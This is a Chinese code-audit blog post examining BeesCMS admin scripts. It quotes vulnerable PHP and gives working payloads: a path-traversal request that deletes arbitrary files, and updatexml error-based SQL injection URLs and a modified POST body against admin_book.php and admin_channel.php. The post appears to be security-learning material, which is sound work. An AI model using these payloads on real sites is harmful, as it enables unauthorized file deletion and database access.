beescms代码审计学习(二)

admin 2022年12月19日12:08:04评论21 views字数 4506阅读15分1秒阅读模式

免责声明

由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


beescms代码审计学习(二)
beescms代码审计学习(二)

代码审计

beescms代码审计学习(二)
beescms代码审计学习(二)

01

NightCrawler安全团队


本文首发于先知社区:https://xz.aliyun.com/t/11955


以下文章来自夜组安全的我是小夜羽师傅,主要内容为SRC挖掘,希望大家能够从中有所收获。


beescms代码审计学习(一)


02

代码审计

admin/admin_ajax.php 任意文件删除漏洞

beescms代码审计学习(二)

elseif($action=='del_pic'){
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
}

看代码的时候发现了这段,上面的value值通过$value=$_REQUEST['value']; 来传入,那我一想,value可控,通过目录穿越,可以删除任意文件

构造payload

/admin/admin_ajax.php?action=del_pic&value=../1.txt

成功删除根目录下自己创建的1.txt文件

beescms代码审计学习(二)

admin/admin_book.php 后台sql注入

beescms代码审计学习(二)


elseif($action=='del'){
$id=$_GET['id'];
if(empty($id)){die("<script type="text/javascript">alert('参数发生错误,请重新操作');history.go(-1);</script>");}
$sql="delete from ".DB_PRE."book where id=".$id;
$mysql->query($sql);
msg('删除完成','?lang='.$lang.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}

id传值未作任何校验,直接构造

/admin/admin_book.php?action=del&id=11 or updatexml(1,concat(0x23,database()),1)--+

beescms代码审计学习(二)

下面的这个批量删除同样有问题

beescms代码审计学习(二)


elseif($action=='del_all'){
$id=$_POST['all'];
if(empty($id)){msg('请选择需要删除的内容','?lang='.$lang);}
foreach($id as $k=>$v){
$sql="delete from ".DB_PRE."book where id=".$v;
$mysql->query($sql);
}
msg("所选内容已经删除",'?lang='.$lang.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}

echo PW;
?>

没能成功构造,所以只能找功能点抓一下包了

POST /admin/admin_book.php?action=del_all&lang=cn HTTP/1.1
Host: 192.168.43.199
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.199
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_book.php?lang=cn&nav=main&admin_p_nav=main_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=1mtd8re62d8ppi72aa3bf5b144
Connection: close

all%5B%5D=0&all%5B%5D=1&id=&lang=cn

抓到的包如下,我们修改all%5B%5D=1 or updatexml(1,concat(0x23,database()),1)--+

beescms代码审计学习(二)

beescms代码审计学习(二)

beescms代码审计学习(二)

不抓包的话我根本不知道还有个lang参数


admin/admin_channel.php sql注入

beescms代码审计学习(二)


if($step==3){
if(file_exists(DATA_PATH.'cache_channel/news_arr.php')){include(DATA_PATH.'cache_channel/news_arr.php');}
$news_id=empty($news)?'':array_shift($news);
$str="<?phpn$news=".var_export($news,true).";n?>";
cache_write(DATA_PATH.'cache_channel/news_arr.php',$str);
if(!empty($news_id)){
$addtime_rel=explode('-',$news_id['addtime']);
$fl=CMS_PATH.'htm/'.$news_id['cate_fold_name'].'/'.$addtime_rel[0].'/'.$addtime_rel[1].$addtime_rel[2].'/'.$news_id['id'].'.html';
if(file_exists($fl)){@unlink($fl);}
if(!empty($news_id['id'])){
$GLOBALS['mysql']->query("delete from ".DB_PRE."maintb where id=".$news_id['id']);
}
if(!empty($news_id['id'])&&!empty($news_id['table'])){
$GLOBALS['mysql']->query("delete from ".DB_PRE.$news_id['table']." where id=".$news_id['id']);
}
show_htm("已经删除栏目【{$news_id['cate_name']}】下的文章【{$news_id['title']}】",'?action=del_channel&step=3&id='.$id.'&cate_id='.$cate_id.'&tb='.$tb.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}else{
$GLOBALS['mysql']->query("delete from ".DB_PRE."category where cate_parent=".$cate_id);
$GLOBALS['mysql']->query("delete from ".DB_PRE."category where id=".$cate_id);
$GLOBALS['cache']->cache_category_all();
show_htm("已经删除栏目($cate_id)",'?action=del_channel&step=2&id='.$id.'&tb='.$tb.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}

}


}

beescms代码审计学习(二)


elseif($action=='del_channel'){
if(!check_purview('pannel_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$step = $_GET['step'];
$id = intval($_GET['id']);
$tb = $_GET['tb'];
$cate_id = $_GET['cate_id'];
//初始化
if($step==1){
if(!isset($id)||empty($id)){msg('<span style="color:red">参数传递错误,请重新操作</span>');}
if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php")){
include(DATA_PATH."cache_channel/cache_channel_all.php");
}
if(empty($channel)){
msg('<span style="color:red">请先更新模型缓存</span>','admin_channel.php');
}
foreach($channel as $key=>$value){
if($value['id']==$id){
$table=$value['channel_table'];
}
}

上面传入$cate_id = $_GET['cate_id']; 这个cate_id,然后下面query("delete from ".DB_PRE."category where cate_parent=".$cate_id)

我们直接构造

/admin/admin_channel.php?action=del_channel&step=3

发现报错

beescms代码审计学习(二)

拼接我们可控的cate_id

/admin/admin_channel.php?action=del_channel&step=3&cate_id=111 or updatexml(1,concat(0x23,database()),1)--+

beescms代码审计学习(二)

beescms代码审计学习(二)已结束


beescms代码审计学习(一)


03

往期回顾


beescms代码审计学习(二)

beescms代码审计学习(一)


beescms代码审计学习(二)

2022年Top 10漏洞盘点


beescms代码审计学习(二)

美17岁少年盗取名人推特帐号欺诈10万比特币,这潜力做网安岗至少也是年薪百w+呀!

beescms代码审计学习(二)

原文始发于微信公众号(夜组安全):beescms代码审计学习(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月19日12:08:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   beescms代码审计学习(二)http://cn-sec.com/archives/1472310.html

发表评论

匿名网友 填写信息